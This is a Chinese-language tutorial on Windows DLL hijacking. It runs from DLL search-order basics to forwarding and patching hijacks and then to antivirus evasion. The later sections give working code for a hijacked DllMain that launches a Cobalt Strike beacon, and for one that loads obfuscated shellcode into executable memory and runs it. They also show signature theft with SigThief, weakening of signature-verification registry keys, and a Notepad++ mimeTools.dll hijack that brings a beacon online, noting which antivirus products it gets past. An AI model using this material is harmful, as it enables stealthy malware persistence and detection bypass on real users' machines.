-
DLL入门
在 vs2019 新建动态链接库项目,看一下 DLL 基本格式
// dllmain.cpp : 定义 DLL 应用程序的入口点。 #include "pch.h" #include <Windows.h> void msg() { // 定义的函数 MessageBox(0, L"Dll- load succeed", 0, 0); } BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; }
framework.h
#pragma once #define WIN32_LEAN_AND_MEAN // 从 Windows 头文件中排除极少使用的内容 // Windows 头文件 #include <windows.h> extern "C" __declspec(dllexport) void msg(void);
调用 DLL
// hello.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。 #include <iostream> #include <Windows.h> using namespace std; int main() { // 定义一个函数类DLLFUNC typedef void(*DLLFUNC)(void); DLLFUNC GetDllfunc = NULL; // 指定动态加载dll库 HINSTANCE hinst = LoadLibrary(L"TestDll.dll"); // 不能是绝对路径 if (hinst != NULL) { // 获取函数位置 GetDllfunc = (DLLFUNC)GetProcAddress(hinst, "msg"); } if (GetDllfunc != NULL) { //运行msg函数 (*GetDllfunc)(); } }
dll 调用成功:
劫持的小 demo:
新建一个 TestDll2,生成后将 hello.exe,TestDll,TestDll2 放到一个文件夹中,TestDll 改为 TestDll-org(劫持之后依旧能调用),TestDll2 改为 TestDll。// dllmain.cpp : 定义 DLL 应用程序的入口点。 #include "pch.h" #pragma comment(linker, "/EXPORT:msg=TestDll-org.msg") BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: DisableThreadLibraryCalls(hModule); MessageBox(NULL, L"劫持成功!", L"提示", NULL); break; case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; }
-
漏洞原理:
一个 windows 应用程序会使用预定义的搜索路径去找它需要被加载的 DLL,那么如果我们有其中一个 DLL 所在目录的写权限,就能放置一个恶意的 DLL 文件来进行攻击 (同时要确保这个DLL文件在合法的DLL找到之前被找到)
微软的 dll 劫持有 3 个阶段:
无保护阶段:Windows XP SP2之前1.进程对应的应用程序所在目录; 2.加载 DLL 时所在的当前目录; 3.系统目录即 SYSTEM32 目录(通过 GetSystemDirectory 获取); 4.16位系统目录即 SYSTEM 目录; 5.Windows目录(通过 GetWindowsDirectory 获取); 6.PATH环境变量中的各个目录;
Windows XP SP2之后,Windows 7之前
添加了一个 SafeDllSearchMode 的注册表属性:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\SafeDllSearchMode
当这个值设置为 1 的时候,开启安全 dll 搜索模式,查找顺序就是:
1.应用程序所在目录 2.系统目录 SYSTEM32 目录 3.16位系统目录即 SYSTEM 目录(向前兼容) 4.Windows目录(C:\Windows) 5.加载 DLL 时所在的当前目录 6.环境变量PATH中所有目录。需要注意的是,这里不包括App Paths注册表项指定的应用程序路径
Windows 7之后
从 Windows7 之后, 微软为了更进一步的防御系统的 DLL 被劫持,将一些容易被劫持的系统 DLL写进了一个注册表项中,那么凡是此项下的DLL文件就会被禁止从EXE自身所在的目录下调用,而只能从系统目录即 SYSTEM32 目录下调用。路径:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs
在 win10 下的限制:
-
寻找 DLL 劫持漏洞
如果要劫持系统的 dll 漏洞,大致流程如下:
1.启动应用程序 2.使用Process Explorer等类似软件查看该应用程序启动后加载的动态链接库。 3.从该应用程序已经加载的DLL列表中,查找在上述“KnownDLLs注册表项”中不存在 4.编写从上一步获取到的DLL的劫持DLL。 5.将编写好的劫持DLL放到该应用程序目录下,重新启动该应用程序,检测是否劫持成功。
理论可行,如果不能劫持的话可能有以下情况:
1.DLL不在KnownDLLs注册表中但是已经被微软做了保护,比如ntdll.dll等系统核心dll 2.宿主进程在调用LoadLibrary函数时使用了“绝对路径” 3.宿主进程对调用的DLL进行了校检,比如文件MD5、HASH等值 4.宿主调用DLL时使用了SetDllDirectory函数把当前目录从DLL的搜索顺序列表中删除
劫持应用 dll,没有校验的直接可以打。可参考倾旋师傅的这篇文章:
https://payloads.online/archivers/2018-06-09/1/
自动化工具:https://github.com/sensepost/rattler -
转发式劫持
可以用这个工具实现 https://bbs.pediy.com/thread-224408.htm
两种转发函数:直接转发函数:即调用原DLL时触发的行为可控(DllMain 可控) 即时调用函数:调用具体函数的时候行为可控,相当于可以实现 hook 某些函数
在生成的代码中添加弹窗:#include "pch.h" #include <Windows.h> #pragma comment(linker, "/EXPORT:msg=TestDllOrg.msg,@1") BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved) { if (dwReason == DLL_PROCESS_ATTACH) { DisableThreadLibraryCalls(hModule); MessageBox(NULL, L"hi,hacker, inserted function runing", L"hi", MB_OK); } else if (dwReason == DLL_PROCESS_DETACH) { } return TRUE; }
成功劫持,并且原程序也能正常执行。
注意 64 位的程序要加载 64 位的 dll,32 位的程序要加载 32 位的 dll。 -
篡改式劫持
直接在 dll 中插入语句,暴力 patch 程序入口点,jmp shellcode,然后继续向下执行,实际中存在很多限制:
1.签名的DLL文件会破坏签名导致失败 2.会修改原生DLL文件,容易出现一些程序错误
可以用 https://github.com/secretsquirrel/the-backdoor-factory 这个项目实现
-
通用 DLL 劫持
不再需要导出 DLL 的相同功能接口,实现原理其实就是修改 LoadLibrary 的返回值(详细原理没看明白,以后回来补)
用 https://github.com/anhkgg/SuperDllHijack 工具实现。
在源代码中添加弹窗:VOID DllHijack1(HMODULE hMod) { TCHAR tszDllPath[MAX_PATH] = { 0 }; MessageBox(NULL, L"hi,hacker, inserted function runing", L"hi", MB_OK); GetModuleFileName(hMod, tszDllPath, MAX_PATH); PathRemoveFileSpec(tszDllPath); //PathAppend(tszDllPath, TEXT("dll.dll.1")); PathAppend(tszDllPath, TEXT("dll.dll")); //SuperDllHijack(L"dll.dll", tszDllPath); SuperDllHijack(L"fakedll.dll", tszDllPath); }
其中,dll.dll 是原本要加载的 dll,fakedll.dll 是构造的恶意 dll,执行 test.exe 后发现劫持成功。
-
DLL劫持免杀:
白加黑木马的结构 1.Exe(白) —-load—-> dll(黑) 2.Exe(白) —-load—-> dll(黑)—-load—-> 恶意代码
方式一:直接加载木马
修改转发劫持的代码,在 dll 执行结束时自动加载 cs 🐎,但是这样的话🐎还是要做免杀,也就能起一个权限维持的作用。BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved) { if (dwReason == DLL_PROCESS_ATTACH) { DisableThreadLibraryCalls(hModule); MessageBox(NULL, L"hi,hacker, inserted function runing", L"hi", MB_OK); } else if (dwReason == DLL_PROCESS_DETACH) { STARTUPINFO si = { sizeof(si) }; PROCESS_INFORMATION pi; CreateProcess(TEXT("F:\\vs_project\\miansha\\hello\\test\\beacon_10_10_10_131.exe"), NULL, NULL, NULL, false, 0, NULL, NULL, &si, &pi); } return TRUE; }
方式二:dll 自加载上线
直接在 dll 中写 shellcode,然后上线。但如果是用 cs 生成的原本的 shellcode 的 dll 会被直接杀掉,这里用到了 https://github.com/kgretzky/python-x86-obfuscator 工具对 shellcode 进行混淆。(虽然最后还是会被杀)python x86obf.py -i payload.bin -o output.bin -r 0-184
然后转换成 c 的格式:
#!/usr/bin/env python3 shellcode = 'unsigned char buf[] = "' with open("output.bin", "rb") as f: content = f.read() #print(content) for i in content: shellcode += str(hex(i)).replace("0x", "\\x") shellcode += '";' print(shellcode)
dll 文件修改为:
BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved) { if (dwReason == DLL_PROCESS_ATTACH) { DisableThreadLibraryCalls(hModule); unsigned char buf[] = "shellcode"; size_t size = sizeof(buf); char* inject = (char*)VirtualAlloc(NULL, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE); memcpy(inject, buf, size); CreateThread(0, 0, (LPTHREAD_START_ROUTINE)inject, 0, 0, 0); } else if (dwReason == DLL_PROCESS_DETACH) { } return TRUE; }
火绒查杀能过,360 云查杀过不了。
-
证书签名伪造
如果我们替换了原有的 dll,会造成 dll 的签名发生改变,但有些杀软不会去检验证书签名是否有效,能一定程度上规避免杀:
工具:https://github.com/secretsquirrel/SigThief.git
可以将从以签名的 PE 文件中剥离签名,并附加到另一个 PE 文件中,但这个签名可能会无效(哈希不匹配)。python3 sigthief.py -i VSTOInstallerUI.dll -t TestDll.dll -o TestDllSign.dll
查看签名:
Get-AuthenticodeSignature .\TestDll.dll
如何添加有效的签名:
数字签名的哈希验证是通过以下注册表键值执行的:{603BCC1F-4B59-4E08-B724-D2C6297EF351} // Hash Validation for PowerShell Scripts {C689AAB8-8E78-11D0-8C47-00C04FC295EE} // Hash Validation for Portable Executables
所在位置:
HKLM\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{603BCC1F-4B59-4E08-B724-D2C6297EF351} HKLM\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}
在已有的签名机制下,无法做到既可以使签名合法(证书没有私钥),又满足 hash 匹配,能做到的只有削弱签名验证机制。这里我们需要使用一个合法的 dll 文件来替换原来键值表示的 dll,因为它应该已经使用相同的私钥签名。另外,我们还需要将注册表项原来的函数用一个名叫DbgUiContinue的函数替换掉。
自动化操作可以通过 https://github.com/netbiosX/Digital-Signature-Hijack 实现。(复现失败了) -
免杀实操
用 Rattler 自动查找可劫持的 dll
.\Rattler_32.exe "C:\Program Files (x86)\Notepad++\notepad++.exe" 1
靶机上有很多可以利用的:
选一个 mimeTools.dll,用 AheadLib+ 处理后加入 shellcode,然后替换原 dll 文件,运行 notepad++ 后上线
-
参考文献:
- https://www.anquanke.com/post/id/225911
- https://blog.haiya360.com/archives/826.html
- https://www.ascotbe.com/2020/11/13/DynamicLinkLibraryHijack/#%E5%AE%9E%E6%88%98%E5%8C%96%E5%88%A9%E7%94%A8
- https://www.anquanke.com/post/id/232891
- https://mp.weixin.qq.com/s/Nx4C2mx94V9vhvU8Eqfobg
- https://www.anquanke.com/post/id/87238
- https://tttang.com/archive/1365/